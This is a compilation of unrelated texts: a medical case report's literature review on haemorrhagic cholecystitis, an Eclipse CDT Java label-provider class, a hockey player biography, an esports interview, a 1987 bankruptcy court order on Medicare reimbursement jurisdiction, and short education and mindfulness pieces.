Reviewing the literature, 30 case reports of 31 patients were identified presenting with haemorrhagic cholecystitis between 1985 and 2018. In total, 45% were found to be on anti-coagulation vs. 45% not on any anti-coagulation (10% were not reported). Most patients (22, 71%) were treated with a cholecystectomy compared to three patients (10%) were treated with a percutaneous cholecystostomy drainage, five patients (16%) were treated conservatively with intravenous antibiotics, and one patient (3%) was treated with endoscopic nasobiliary drainage. All published papers in the literature are summarized in Table [1](#rjy360TB1){ref-type="table"}. Table 1Summary of all published papers on haemorrhagic cholecystitisAuthorYear of publicationJournalPatient age/genderAnti-coagulationTreatment choiceLiefman *et al.*2018International Annals of Medicine73 FY---RivaroxabanConservative with IV antibiotics, elective lap choleLopez *et al.*2018Radiology84 MNot mentionedLaparoscopic CholecystectomyBerndtson *et al.*2017Surgical Infections Case Reports75 FNOpen CholecystectomyChoi *et al.*2017Trauma Image & Procedure65 MNLaparotomy + Open CholecystectomyKinnear *et al.*2017BMJ Case Reports74 MY---ApixabanLaparotomy + Open CholecystectomyShishida *et al.*2017Case Reports in Gastroenterology79 MY---Heparin for dialysisERCP and ENBDOshiro *et al.*2017International Surgery61 FY---WarfarinConservative with IV antibiotics, elective lap choleYoshida *et al.*2017J-Stage73 MYLaparoscopic CholecystectomyEspino *et al.*2016Cirugía Española59 MNLaparotomy + Open CholecystectomyCho *et al.*2015Korean Journal of Thoracic and Cardiovascular Surgery61 MY---WarfarinCholecystostomy drainageAljiffry *et al.*2014Journal of Surgical Case Reports57 MNCystic artery embolization + Open CholecystectomyMatsukiyo *et al.*2014J-Stage68 FY---thrombolysisLaparotomy + Open CholecystectomySeok *et al.*2013Korean Journal of Internal Medicine84 MNLaparoscopic CholecystectomyTaniguchi *et al.*2013J-Stage48 MY---Heparin for dialysisLaparotomy + Open CholecystectomyKwon *et al.*2012Korean Journal of Hepatobiliary Pancreatic Surgery75 MY---WarfarinLaparoscopic CholecystectomyGarcía-Pérez *et al.*2011Revista Española De Enfermedades digestivas24 FNLap to Open Cholecystectomy + intra-opertaive cholangiographyJung *et al.*2011Journal of the Korean Surgical Society55 MNLaparoscopic CholecystectomyParekh *et al.*2010JAMA Surgery60 M50 MNNERCP + Laparoscopic CholecystectomyLap to openCholecystectomyLin *et al.*2010Journal of Internal Medicine of Taiwan80 MY---WarfarinLaparoscopic CholecystectomyChen *et al.*2010The American Journal of the Medical SciencesElderly MY---HeparinLaparoscopic CholecystectomyMiyamoto *et al.*2009J-Stage42 FNConservative with IV antibiotics, elective lap choleOh *et al.*2009Journal of the Korean Society of Magnetic Resonance in Medicine40 MNot mentionedLaparoscopic CholecystectomyLai *et al.*2009Journal of Chinese Medical Association81 MY---Heparin for dialysisConservative with IV antibiotics, elective lap choleMorris *et al.*2008Case Reports in Gastroenterology91 FNOpen CholecystectomyPandya *et al.*2008Abdominal Imaging85 FY---WarfarinConservative with IV antibioticsKim *et al.*2007World Journal of Gastroenterology55 MNCholecystostomy drainageGremmels *et al.*2004Journal of Ultrasound in Medicine66 MNLaparotomy + Open CholecystectomyHanaki *et al.*2000J-Stage66 MNot mentionedLaparotomy + Open CholecystectomyStempel *et al.*1993Journal of Vascular and Interventional Radiology78 MY---Heparin during AAA repairCholecystostomy drainageBrady *et al.*1985Disease of the Colon & Rectum79 MNOpen Cholecystectomy
CONCLUSION {#rjy360s11}
==========
Haemorrhagic cholecystitis is a rare diagnosis following a common presentation of symptoms and there are few guidelines on the management of such a condition. In cases such as these the patient's condition and co-morbidities must be taken into account when deciding on management options.
CONSENT {#rjy360s13}
=======
Written informed consent was obtained from the patient for publication of this Case report and any accompanying images. A copy of the written consent is available for review by the Editor-in-Chief of this journal.
CONFLICT OF INTEREST STATEMENT {#rjy360s12}
==============================
The authors declare that they have no competing interests and no sources of funding.
|
/*******************************************************************************
* Copyright (c) 2016 QNX Software Systems and others.
*
* This program and the accompanying materials
* are made available under the terms of the Eclipse Public License 2.0
* which accompanies this distribution, and is available at
* https://www.eclipse.org/legal/epl-2.0/
*
* SPDX-License-Identifier: EPL-2.0
*******************************************************************************/
package org.eclipse.cdt.make.internal.ui;
import org.eclipse.cdt.make.core.IMakeTarget;
import org.eclipse.jface.viewers.LabelProvider;
import org.eclipse.swt.graphics.Image;
public class MakeNavLabelProvider extends LabelProvider {
@Override
public String getText(Object element) {
if (element instanceof IMakeTarget) {
return ((IMakeTarget) element).getName();
} else if (element instanceof MakeTargetsContainer) {
return MakeUIPlugin.getResourceString("BuildTargets.name"); //$NON-NLS-1$
} else {
return null;
}
}
@Override
public Image getImage(Object element) {
if (element instanceof IMakeTarget) {
return MakeUIImages.getImage(MakeUIImages.IMG_OBJS_TARGET);
} else if (element instanceof MakeTargetsContainer) {
return MakeUIImages.getImage(MakeUIImages.IMG_OBJS_TARGET);
} else {
return null;
}
}
}
|
Micah Aivazoff
Micah Aivazoff (born May 4, 1969 in Powell River, British Columbia) is a former professional ice hockey centre. His junior career was spent with the Victoria Cougars, in the Western Hockey League, and he was selected in the sixth round of the 1988 NHL Entry Draft, 109th overall, by the Los Angeles Kings. He went on to play with the Detroit Red Wings, Edmonton Oilers, and New York Islanders of the NHL, as well as with various minor league and European teams.
Career statistics
Season Team Lge GP G A Pts PIM GP G A Pts PIM
--------------------------------------------------------------------------------------
2001-02 Schwenningen Wild Wings DEL 36 4 10 14 32 -- -- -- -- --
2000-01 Schwenningen Wild Wings DEL 59 9 15 24 48 -- -- -- -- --
1999-00 Utah Grizzlies IHL 80 15 31 46 81 5 0 0 0 4
1998-99 Utah Grizzlies IHL 79 25 22 47 67 -- -- -- -- --
1997-98 Ingolstadt ERC Ger.1 19 9 19 28 59 -- -- -- -- --
1997-98 San Antonio Dragons IHL 54 13 33 46 33 -- -- -- -- --
1996-97 Binghamton Rangers AHL 75 12 36 48 70 4 1 1 2 0
1995-96 Utah Grizzlies IHL 59 14 21 35 58 22 3 5 8 33
1995-96 New York Islanders NHL 12 0 1 1 6 -- -- -- -- --
1994-95 Edmonton Oilers NHL 21 0 1 1 2 -- -- -- -- --
1993-94 Detroit Red Wings NHL 59 4 4 8 38 -- -- -- -- --
1992-93 Adirondack Red Wings AHL 79 32 53 85 100 11 8 6 14 0
1991-92 Adirondack Red Wings AHL 61 9 20 29 50 19 2 8 10 25
1990-91 New Haven Nighthawks AHL 79 11 29 40 84 -- -- -- -- --
1989-90 New Haven Nighthawks AHL 77 20 39 59 71 -- -- -- -- --
1988-89 Victoria Cougars WHL 70 35 65 100 136 8 5 7 12 2
1987-88 Victoria Cougars WHL 69 26 57 83 79 8 3 4 7 14
1986-87 Victoria Cougars WHL 72 18 39 57 112 5 1 0 1 2
1985-86 Victoria Cougars WHL 27 3 4 7 25 -- -- -- -- --
--------------------------------------------------------------------------------------
NHL Totals 92 4 6 10 46 -- -- -- -- --
Transactions
February 5, 1988: Los Angeles trades the rights to Aivazoff to the Pittsburgh Penguins in exchange for Brian Engblom.
March 18, 1993: Aivazoff signs with Detroit
August 23, 1993: Aivazoff signs with the Islanders
January 18, 1995: Pittsburgh claims Aivazoff off waivers from Detroit
January 18, 1995: Edmonton claims Aivazoff off waivers from Pittsburgh
August 23, 1996: Aivazoff signs with the Rangers
External links
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Would you like to say hello to your Korean fans?
I haven't played in any international tournaments in 2016. I'm glad and relieved to have at least come to All-Stars to say hello to the Korean fans. I want to keep performing well.
How does it feel to play in Europe again?
I visited Spain once when I played for Fnatic. The crowd was very energetic, and I left with great memories. I was happy when I heard this year's All-Stars would be held in Spain. As expected, the Spanish fans' passion is amazing. I'm grateful and happy.
Did you catch up with your old teammates sOAZ, xPeke, and Rekkles?
I'm on Team Fire and they're on Team Ice, so we didn't get to meet too often. But we're greeting each other every time we have dinner together or meet each other in the hallway. We are closer than others.
You've left Immortals. What's next for you?
I've signed a good contract with a good team. It hasn't been officially announced yet, though, so I can't tell you the details. [laughs] My new team has promised to treat me well, and I plan to live up to the organization's and the fans' expectations. Most importantly, I want to qualify for international tournaments again.
You won't play with Huni anymore.
It's a shame. We really tried hard to stay together, but it wasn't to be. We landed on good teams, though, so it's not that bad. I hope we can prove we both can play well without each other.
Any words you want to send Huni's way?
I've played with Huni for two years now, and our friendship goes even further back. He says I helped him out a lot, but in truth, it was the opposite. I'm grateful for having been with Huni. He carried me a lot. We'll keep in touch, obviously, and talking about the game... although I think that information exchange will go in my favor [laughs].
SKT T1 will bring a lot of pressure, but I hope Huni can maintain his work ethic to become Best Top KR.
What does All-Stars mean to you?
A good experience. We get to play on the new patch first. I hope to make it to next year's All-Stars as well. It's a really fun event! |
80 B.R. 555 (1987)
In re SHELBY COUNTY HEALTHCARE SERVICES OF AL, INC., et al., Debtors.
Ira D. GINGOLD, Trustee Plaintiff,
v.
UNITED STATES of America, on Behalf of the DEPARTMENT OF HEALTH AND HUMAN SERVICES, Defendant.
Bankruptcy No. 85-01572, Adv. No. 86-0914A.
United States Bankruptcy Court, N.D. Georgia, Atlanta Division.
September 8, 1987.
*556 Stephen R. Beckham, Kilpatrick & Cody, Atlanta, Ga., for plaintiff.
Myles E. Eastwood, U.S. Attys. Office, Atlanta, Ga., for defendant.
ORDER
STACEY W. COTTON, Bankruptcy Judge.
Presently before the court is the motion of the United States of America, on behalf of its agency the Department of Health and Human Services, ("HHS"), to dismiss the complaint in the above-styled adversary proceeding for lack of subject matter jurisdiction. In the underlying complaint the trustee of the estates of the debtors objects to the allowance of certain claims filed by HHS. These claims are based on home healthcare provider cost reimbursement adjustments under the Medicare program. The trustee also seeks judgment against HHS for funds allegedly held and owed by HHS that are property of debtors' estates. The trustee argues that this court has jurisdiction of the entirety of this proceeding notwithstanding the involvement of Medicare reimbursement issues.
Based on an examination of the record, there does not appear to be any factual dispute. Accordingly the court makes findings of fact and conclusions as set forth hereinafter.
Each of the debtors was in the business of rendering home healthcare services. Each debtor is a wholly-owned subsidiary of Healthcare Services, Inc. ("HSI") whose sole shareholder is Joseph H. Hale. A substantial portion of debtors' revenues was derived from the Medicare program as administered by HHS through its Health Care Financing Administration ("HCFA"). See 42 U.S.C. Sections 1395c through i-2, 1395x(u). After entering a provider agreement with the Secretary of HHS (42 U.S.C. Sections 1395x(u), 1395cc), the provider becomes entitled to payment for the lesser of "reasonable cost" or "customary charge" for allowable services provided to Medicare beneficiaries. 42 U.S.C. Sections 1395f(b), 1395x(v). HCFA contracts with various health insurance carriers as fiscal intermediaries *557 in processing and paying claims submitted by providers. 42 U.S.C. Section 1395h. Reimbursement payments are made on an interim basis throughout the fiscal year. These payments, however, are subject to adjustment by HHS for any overpayments or underpayments. 42 U.S.C. Section 1395g; 42 C.F.R. Section 405.405, 405.454; Neuman v. Blue Cross/Blue Shield of Greater New York (In re Neuman), 55 B.R. 702, 706 (S.D.N.Y.1985).
The providers submit an annual cost report which the intermediary audits and reviews. 42 U.S.C. Section 1395h(a). The intermediary then issues a "Notice of Amount of Medicare Program Reimbursement" ("NPR"), stating final adjustments and Medicare reimbursement allowed and any amounts due by either the provider or HHS, with respect to the interim payments made. 42 C.F.R. Sections 405.1803, 405.454(f)(3). Pursuant to the procedural requirements of 42 U.S.C. Section 1395oo (a), a provider may request a hearing before the Provider Reimbursement Review Board ("PRRB") for review of a determination of the amount of total program reimbursement due made by a fiscal intermediary. The decision is final unless the Secretary of HHS reviews the ruling and a provider may thereafter seek judicial review. 42 U.S.C. Section 1395oo(f)(1).
In his complaint, the trustee alleges that as a result of tax assessments and levies against Joseph Hale, Health Care International, Inc., and non-debtor corporations owned by Hale, by the United States, through its agency the Internal Revenue Service, debtors were forced to terminate their business and commence the above-styled bankruptcy cases. The previous trustee filed cost reports for the debtors asserting Medicare receivables of $1,300,000.00 and acknowledging payables to their intermediaries of $860,000.00. The intermediaries thereafter issued NPR's disallowing debtors' costs by the sum of over $3,500,000.00. Various reasons are alleged for the disallowance and among them in particular, debtors' failure to pay certain costs within one year following the cost reporting period. The trustee asserts that such costs could not be paid as prepetition claims except in accordance with a Chapter 7 distribution. Before and during debtors' filings of their bankruptcy petitions, interim Medicare payments were reduced to recoup overpayments as determined by debtors' intermediaries over several of the previous fiscal years.
CONCLUSIONS OF LAW
HHS argues that this court lacks subject matter jurisdiction over the claims raised in the trustee's complaint. It contends judicial review of disputed final determinations of Medicare program reimbursement is appropriate only after the administrative appeals process established in 42 U.S.C. Section 1395oo (f) is exhausted. HHS further maintains that all of the claims set forth in the trustee's complaint are governed by jurisdictional preclusion even though they allege theories of relief other than a frontal challenge to the Medicare reimbursement determinations. Weinberger v. Salfi, 422 U.S. 749, 95 S.Ct. 2457, 45 L.Ed.2d 522 (1975). See also Marin v. HEW, Health Care Financing Agency, 769 F.2d 590, 592 (9th Cir.1985). HHS contends that this jurisdictional limitation applies with equal force in the bankruptcy court as in the district court. Finally, HHS maintains that sovereign immunity prevents this court from exercising jurisdiction in this adversary proceeding until the debtors exhaust their administrative remedies. See generally 11 U.S.C. Section 106.
The trustee counters arguing that the underlying claims and objections both arise in and are related to debtors' cases and property of their estates under Title 11. See 28 U.S.C. Section 1334(a), (b), (d). The estates could gain over $1,300,000.00 for the benefit of creditors as well as the disallowance of over $2,300,000.00 in claims as a result of this proceeding. In accordance with 28 U.S.C. Section 157(b)(2)(B), the trustee argues, objections to allowance of HHS' claims constitute core proceedings which were referred to this court by the district court. Additionally, the trustee argues the affirmative claims are counterclaims by the estates against persons filing claims against the estate or seek orders to *558 turn over property of the estate. 28 U.S.C. Section 157(b)(2)(C) and (E).
Section 1395oo (f), the relevant Medicare provision, provides in pertinent part:
A decision of the Board shall be final unless the Secretary, on his own motion, and within 60 days after the provider of services is notified of the Board's decision, reverses, affirms, or modifies the Board's decision. Providers shall have the right to obtain judicial review of any final decision of the Board, or of any reversal, affirmance, or modification by the Secretary, by a civil action commenced within 60 days of the date on which notice of any final decision by the Board or of any reversal, affirmance, or modification by the Secretary is received.
Congress has established in 42 U.S.C. Section 1395oo(f) the exclusive method of administrative and judicial review and appeal of Medicare cost reimbursement determinations and has incorporated therein the jurisdictional preclusion provision of 42 U.S.C. Section 405(h). See 42 U.S.C. Section 1395ii; Daniel Freeman Memorial Hospital v. Schweiker, 656 F.2d 473, 475-76 (9th Cir.1981); Pacific Coast Medical Enterprises v. Harris, 633 F.2d 123, 137-39 (9th Cir.1980). See also V.N.A. of Greater Tift County, Inc. v. Heckler, 711 F.2d 1020, 1024-27 (11th Cir.1983). 42 U.S.C. Section 405(h), the jurisdictional preclusion provision provides as follows:
The findings and decision of the Secretary after a hearing shall be binding upon all individuals who were parties to such hearing. No findings of fact or decision of the Secretary shall be reviewed by any person, tribunal, or governmental agency except as herein provided. No action against the United States, the Secretary, or any officer or employee thereof shall be brought under section 1331 or 1346 of Title 28 to recover on any claim arising under this subchapter.
The Supreme Court addressed the effect of this provision in Weinberger v. Salfi, 422 U.S. at 756-57, 95 S.Ct. at 2462-63 (1975) and concluded that it is more than a mere codification of the doctrine of exhaustion of administrative remedies that a court could waive if exhaustion appeared futile. See also Id. at 766, 95 S.Ct. at 2467; Mathews v. Eldridge, 424 U.S. 319, 327-28, 96 S.Ct. 893, 899, 47 L.Ed.2d 18 (1976). The court held that the first two sentences of Section 405(h) assure that administrative review will be required before judicial review as provided by 42 U.S.C. Section 405(g).[1] The third sentence does much more, however, because it contains an unconditional prohibition of judicial review premised on either 28 U.S.C. Sections 1331 (federal question) or 1346 (United States as defendant).
The third sentence of Section 405(h) is not the only provision for judicial review preclusion in that section. The court in Salfi, supra, further determined that the first two sentences, in relation to 42 U.S.C. Section 405(g) (Section 1395oo (f) herein, see Note 1 infra), set forth a procedure for obtaining judicial review containing both waivable and nonwaivable elements. 422 U.S. at 763-74, 95 S.Ct. at 2465-66; Mathews, 424 U.S. at 328-32, 96 S.Ct. at 899-01; V.N.A. of Greater Tift County, 711 F.2d at 1025. Although the requirement of full administrative review as set forth in the statute and regulations may be waived, the other requirement of presenting a claim to the Secretary (i.e., to the PRRB) for a decision is purely jurisdictional and cannot be waived. Id. The court in Salfi reasoned that the requirement of a final decision by the Secretary is "central to the requisite grant of subject-matter jurisdiction. . . ." 422 U.S. at 764, 95 S.Ct. at 2466. This provision goes beyond a mere application of the doctrine of exhaustion of administrative remedies.
The Ninth Circuit in Pacific Coast Medical, supra, analyzed this statutory scheme of review as follows:
Congress has adopted a statutory scheme which provides one route for judicial *559 review, exclusive of all others. It has determined that the Secretary and his delegated review procedure should have the opportunity to fully consider any Medicare benefit claims before they are submitted to a federal court. For the Medicare provider reimbursement claims, the designated avenue to judicial review is prescribed by 42 U.S.C. Section 1395oo and requires appeal to the PRRB, with the Secretary having the opportunity to review the Board's decision prior to court action. The application of this requirement is not discretionary with the District Court-adherence to the procedures of 42 U.S.C. Section 1395oo is a prerequisite to the Court's very jurisdiction. Even though the District Court may perceive equities in favor of hearing claims immediately, perhaps even the appearance of futility in forcing a party to pursue the statutory procedure, the District Court is utterly without power to entertain those claims.
633 F.2d at 138 (footnote omitted).
The case law of the Eleventh Circuit in interpreting Section 405(h) consistently reveals that the section is designed to preclude federal question jurisdiction under 28 U.S.C. Section 1331.[2] As the court stated in V.N.A. of Greater Tift County, supra:
In Dr. John T. MacDonald Foundation, Inc. v. Califano, 571 F.2d 328, 331-32 (5th Cir.) (en banc), cert. denied, 439 U.S. 893, 99 S.Ct. 250, 58 L.Ed.2d 238 (1978) a challenge to a regulation, and the Secretary's interpretation of it, governing method for determining costthe court held that the rationale of Salfi `precludes all review of the Secretary's decisions by federal district courts brought under Section 1331.'
711 F.2d at 1026. (footnote omitted). See also United States v. Sanet, 666 F.2d 1370, 1373 (11th Cir.1982); Bussey v. Harris, 611 F.2d 1001, 1004 (5th Cir.1980); Pushkin v. Califano, 600 F.2d 486, 489 (5th Cir.1979); American Association of Councils of Medical Staffs v. Califano, 575 F.2d 1367, 1370-71 (5th Cir.1978). These cases as well as the language of Section 405(h) itself make it clear that the preclusion of judicial review applies to the district court's Section 1331 federal question jurisdiction (and to jurisdiction under 28 U.S.C. Section 1346). Thus the cases are clear that this jurisdiction preclusion applies in nonbankruptcy judicial review of Medicare cost reimbursement determinations.
The question here is whether this jurisdictional preclusion also applies in bankruptcy. HHS contends that it does but the trustee disputes this contention. This court derives its jurisdiction from 28 U.S.C. Section 1334, a source that is different from that which governs judicial review of Medicare cost reimbursement determinations. Further, this court's jurisdiction has not been invoked in judicial review as contemplated in the Medicare statute at 42 U.S.C. Section 1395oo (f)(1) or at Section 405(h). Rather, this court's jurisdiction has been invoked in the administration of a bankruptcy case. In this area Congress has granted the federal district courts original and exclusive jurisdiction, pursuant to Section 1334, over a debtor, all assets and liabilities. This jurisdiction is independent of the type of judicial review contemplated in Section 1395oo (f)(1) and Section 405(h). Thus the exclusive and original jurisdictional grant in bankruptcy cases facilitates the administration, collection, liquidation, and distribution of assets and the determination of liabilities of a debtor's estate.
The underlying basis of the instant adversary proceeding is an objection for disallowance of claims against debtors' estates under 11 U.S.C. Section 502(a) and claims and counterclaims to HHS claims seeking turnover of property of the estate under 11 U.S.C. Section 542. The district court in bankruptcy cases is granted original and exclusive jurisdiction of a debtor's property as of the commencement of a case, of claims against the estate and of the underlying civil proceeding pursuant to 28 U.S.C. *560 Section 1334(a), (b) and (d). In accordance with 28 U.S.C. Section 157(a) and (b)(2)(B), (C) and (E), these matters can and have been referred by the district court to this bankruptcy court. See In re Jurisdiction of the United States Bankruptcy Court, Northern District of Georgia (N.D.Ga. July 12, 1984).
By definition "core" proceedings include, but are not limited to, allowance or disallowance of claims, counterclaims by the estate against persons filing claims against the estate, turnover of property of the estate and other proceedings affecting the liquidation of the assets of the estate or the adjustment of the debtor-creditor relationship. Accordingly, the court concludes that these are core proceedings determinable by this court pursuant to the district court's reference.
Jurisdiction is not premised on the judicial review provisions under Section 1395oo (f)(1) and Section 405(h). Instead, as noted, the bankruptcy court derives its jurisdiction from 28 U.S.C. Section 1334, a source totally independent of and not contemplated by Section 1395oo (f)(1) and Section 405(h). Accordingly, this court does have subject matter jurisdiction to hear and to finally resolve issues of allowance or disallowance of HHS' claims and for turnover of property as alleged here.
In the instant case we have two statutes which appear on their face to apply and control the issue of jurisdiction. In construing a statute, the court's first duty is to give effect to the intent of Congress. United States v. Second National Bank of North Miami, 502 F.2d 535, 539 (5th Cir. 1974), cert. denied, 421 U.S. 912, 95 S.Ct. 1567, 43 L.Ed.2d 777 (1975). Where two statutes deal with the same subject matter and conflict, they are to be harmonized where possible to preserve their basic sense and purpose. Watt v. Alaska, 451 U.S. 259, 267, 101 S.Ct. 1673, 1678, 68 L.Ed. 2d 80 (1981); Morton v. Mancari, 417 U.S. 535, 551, 94 S.Ct. 2474, 2483, 41 L.Ed.2d 290 (1974).
In the nonbankruptcy setting, Congress, by enactment of 42 U.S.C. Section 1395oo and the incorporation of 42 U.S.C. Section 405(h), has established the exclusive method of administrative and judicial review and appeal of Medicare cost reimbursement determinations. The Medicare provision does not address bankruptcy jurisdiction. Yet, in bankruptcy, Congress has vested original and exclusive jurisdiction of a debtor, the estate, all assets and all liabilities in the district courts, or by reference in the bankruptcy court.
As noted in Davis v. United States, 716 F.2d 418, 428 (7th Cir.1983), a later enacted statute may limit the scope of an earlier statute. See also In re Johnson, 787 F.2d 1179, 1182 (7th Cir.1986). In the instant case, the jurisdictional preclusion provision of 42 U.S.C. Section 405(h), incorporated into Medicare cost reimbursement determinations by 42 U.S.C. 1395oo, was originally enacted in 1935 (49 Stat. 624) and was amended in 1948 (62 Stat. 869). The bankruptcy jurisdiction statute, as amended, 28 U.S.C. Section 1334, took effect on July 10, 1984. (98 Stat. 333). In enacting this provision for original bankruptcy jurisdiction, Congress was presumably aware of the Medicare jurisdictional preclusion provisions. If Congress intended that a debtor exhaust his administrative remedies in bankruptcy cases like the one at bar it would have made express provision for this. See Kenny v. Block (In re Kenny), 75 B.R. 515, 16 B.C.D. 31, 34-35 (Bankr.E. D.Mich.1987). Thus, Section 1334 is the later enacted of the two statutes in question and controls the determination of this court's jurisdiction.
The trustee has objected to certain claims filed by HHS and by claims and counterclaims to the HHS claims seeks turnover of property alleged to be property of the estate. See 28 U.S.C. Section 157(b)(2)(C) and (E). See also Katchen v. Landy, 382 U.S. 323, 86 S.Ct. 467, 15 L.Ed. 2d 391 (1966). This court recognizes that the underlying basis of the trustee's claims and counterclaims arise under the Medicare Act to the extent that the trustee challenges the reimbursement entitlement decisions made by the fiscal intermediary. See generally Marin v. HEW, Health Care Financing Agency, 769 F.2d at 592; V.N. *561 A. of Greater Tift County, 711 F.2d at 1025. As previously noted, however, this court has core matter jurisdiction to finally determine issues of allowance or disallowance of claims against the estate. Accordingly the district and bankruptcy court's jurisdiction in bankruptcy cases of these core matters is not grounded on 42 U.S.C. Section 1395oo (f)(1). HHS cites the decision of Andrews v. Blue Cross and Blue Shield of Michigan (In re Clawson Medical, Rehabilitation and Pain Care Center, P.C.), 12 B.R. 647 (E.D.Mich.1981), for the proposition that a bankruptcy court has no jurisdiction to review a Medicare claim until administrative remedies are exhausted. This court concludes, however, that no undue invasion of the established procedures for provider reimbursement review by HHS has occurred because 28 U.S.C. Section 1334 provides a separate and independent basis for original jurisdiction in bankruptcy cases in the district court, and by reference the bankruptcy court.
Finally, the United States contends that sovereign immunity prevents this court from asserting jurisdiction with regard to the Medicare cost reimbursement issues. The United States also argues in this regard that unless administrative remedies are exhausted, the Medicare Act's waiver of sovereign immunity with regard to reimbursement claims is not applicable. However, in ruling on a similar argument regarding claims arising under the Federal Tort Claims Act ("FTCA"), the bankruptcy court in Kenny v. Block (In re Kenny), 75 B.R. 515, 16 B.C.D. 31, 34-35 (Bankr.E.D. Mich.1987), held that even if the requirement of the FTCA regarding exhaustion of administrative remedies would prevent the action, the waiver of sovereign immunity found in 11 U.S.C. Section 106 is "separate and distinct" from the waiver found in the FTCA. That court went on to emphasize that Section 106 of the Bankruptcy Code does not require exhaustion of administrative remedies. The same principle similarly applies in the case at bar. This court thus finds that 11 U.S.C. Section 106 effects a waiver of sovereign immunity.
First, the trustee's counterclaims to the United States' proofs of claims are claims arising out of the same transactions or occurrences as the claims asserted in those proofs of claim. Consequently, the United States has waived its sovereign immunity in regard to those counterclaims. As Section 106(a) provides:
A governmental unit is deemed to have waived sovereign immunity with respect to any claim against such governmental unit that is property of the estate and that arose out of the same transaction or occurrence out of which such governmental unit's claim arose.
Next, sovereign immunity does not bar the trustee's objections to the proofs of claim filed by the United States. See 11 U.S.C. Section 106(b) and (c). Finally, Section 106(c) waives sovereign immunity with regard to the remaining claims asserted by the trustee on behalf of the estates against which the United States has not filed proofs of claims. As that section states:
Except as provided in subsections (a) and (b) of this section and notwithstanding any assertion of sovereign immunity
(1) a provision of this title that contains "creditor", "entity", or "governmental unit" applies to governmental units; and
(2) a determination by the court of an issue arising under such a provision binds governmental units.
11 U.S.C. Section 106(c). In the complaint, the trustee's claims against these remaining estates seek the turnover of property that is alleged to be estate property under 11 U.S.C. Section 542. That section requires turnover of property to the estate by an entity. 11 U.S.C. Section 542(a). Consequently, the United States is an entity for purposes of Section 106(c) and is subject to the jurisdiction of this court with respect to the trustee's complaint seeking turnover notwithstanding any assertion of sovereign immunity. 11 U.S.C. Section 106(c). Accordingly, this court determines that sovereign immunity does not prevent this court from exercising subject matter jurisdiction with regard to these Medicare reimbursement issues.
*562 Having concluded that this court has subject matter jurisdiction in this proceeding, an issue remains as to whether this court, in its discretion, should retain jurisdiction and reach the merits of the Medicare reimbursement issues at this particular time. The court now considers the applicability of the doctrine of primary jurisdiction to this case.[3]
The primary jurisdiction doctrine emphasizes the promotion of proper relationships between the courts and administrative agencies responsible for certain regulatory duties. The Supreme Court in United States v. Western Pacific Railroad Co., 352 U.S. 59, 77 S.Ct. 161, 1 L.Ed.2d 126 (1956) explained the doctrine as follows:
`Primary jurisdiction' . . . applies where a claim is originally cognizable in the courts, and comes into play whenever enforcement of the claim requires the resolution of issues which, under a regulatory scheme, have been placed within the special competence of an administrative body; in such a case the judicial process is suspended pending referral of such issues to the administrative body for its views.
352 U.S. at 63-64, 77 S.Ct. at 165. See also Far East Conference v. United States, 342 U.S. 570, 72 S.Ct. 492, 96 L.Ed. 576 (1952). Under the primary jurisdiction doctrine, a court does not surrender jurisdiction of the case; instead, the court postpones exercise of jurisdiction pending a decision thereon by an administrative agency.
In determining whether to apply the doctrine courts consider the reasons for primary jurisdiction and whether the purposes it serves will be enhanced by applying it to the particular case. Such determination must of necessity be made on a case by case basis in order to facilitate the congressional policy of economy of administration without undue delay in bankruptcy matters. See Western Pacific Railroad Co., 352 U.S. at 64-65, 77 S.Ct. at 165; In re Townview Nursing Home, supra, at 441. One of the reasons often stated for invocation of primary jurisdiction is the "desirable uniformity which would obtain if initially a specialized agency passed on certain types of administrative questions." Western Pacific Railroad Co., 352 U.S. at 64, 77 S.Ct. at 165. In addition to this, the expertise and specialized knowledge of the administrative agencies have been important factors in invoking the primary jurisdiction doctrine.
Because of the involvement of the Medicare reimbursement issues, the specialized knowledge, experience, and expertise of HHS and the need for uniformity in Medicare matters, this court is of the opinion that this is an appropriate case for application of the doctrine of primary jurisdiction.
CONCLUSION
Based upon the foregoing findings and conclusions, this court concludes that it has original subject matter jurisdiction of the trustee's objections and claims and counterclaims for turnover, including the Medicare reimbursement issues, under 28 U.S.C. Section 1334. No undue invasion of the established procedures for provider reimbursement review by HHS occurs by this court's exercise of its original and exclusive jurisdiction granted in 28 U.S.C. Section 1334, and referred to the bankruptcy court pursuant to 28 U.S.C. Section 157. The motion of HHS to dismiss the complaint is DENIED.
Notwithstanding this original subject matter jurisdiction, the court concludes that in this case application of the primary jurisdiction doctrine is appropriate. The court is satisfied that the Medicare matters can be determined by HHS without either undue delay or impact upon the administration of this bankruptcy case. Accordingly, the court invokes the doctrine of primary jurisdiction and hereby suspends and postpones its exercise of its jurisdiction pending a determination by HHS regarding the Medicare provider reimbursement issues.
IT IS SO ORDERED.
NOTES
[1] In V.N.A. of Greater Tift County, supra, the Eleventh Circuit stated that 42 U.S.C. Section 405(g) of the Social Security Act is the functional equivalent of the Medicare Act judicial review provision of 42 U.S.C. Section 1395oo(f). 711 F.2d at 1025 n. 7.
[2] Some of these cases are Fifth Circuit decisions rendered prior to October 1, 1981. Pursuant to Bonner v. City of Prichard, 661 F.2d 1206, 1209 (11th Cir.1981) (en banc), the Eleventh Circuit adopted as binding precedent all decisions of the former Fifth Circuit decided prior to October 1, 1981.
[3] This court raises the issue of primary jurisdiction, sua sponte. See Townview Nursing Home v. New York (In re Townview Nursing Home), 28 B.R. 431, 440 (Bankr.S.D.N.Y.1983).
|
Professional Development for K-12 Reform A high school in Washington State is showing promising results from school improvement that uses whole-faculty study groups to keep teachers energized and improve student learning. By J. Patrick Mahon |
STOP and Be More Mindful in 2018!
S is forSTAY in the present moment.
Notice your breathing. Inhale and exhale slowly. Whatever is happening at the moment will pass. Notice your emotions and remember that the only thing you can control is your reaction to the situation. Your willingness to be present will give you the space you need to gather your thoughts and emotions before moving forward. Take a mindful moment and just breathe.
T is forTHINK about what is working.
We often spend so much of our time thinking about what isn’t working that we fail to focus on what has gone well. Take a mindful moment to write a note to yourself highlighting all the successes so far this year. List what you are grateful for and acknowledge the strengths you bring to teaching and leadership. Be intentional about your goals for the new year. What do you really want?
O is for OPEN your heart to include other perspectives.
When we are stressed and challenged by situations beyond our control we often close our hearts and minds to others. It is a way to protect ourselves and our opinions. Take a mindful moment and think about a student or colleague who puts you on the defensive. Now instead of automatically taking your position and being right. Put yourself in that person’s shoes – just for a moment. What does life look like from that person’s perspective? Notice how keeping your heart open can minimize your stressful reaction and clarify your perspective.
P is for PRACTICE being non-judgmental.
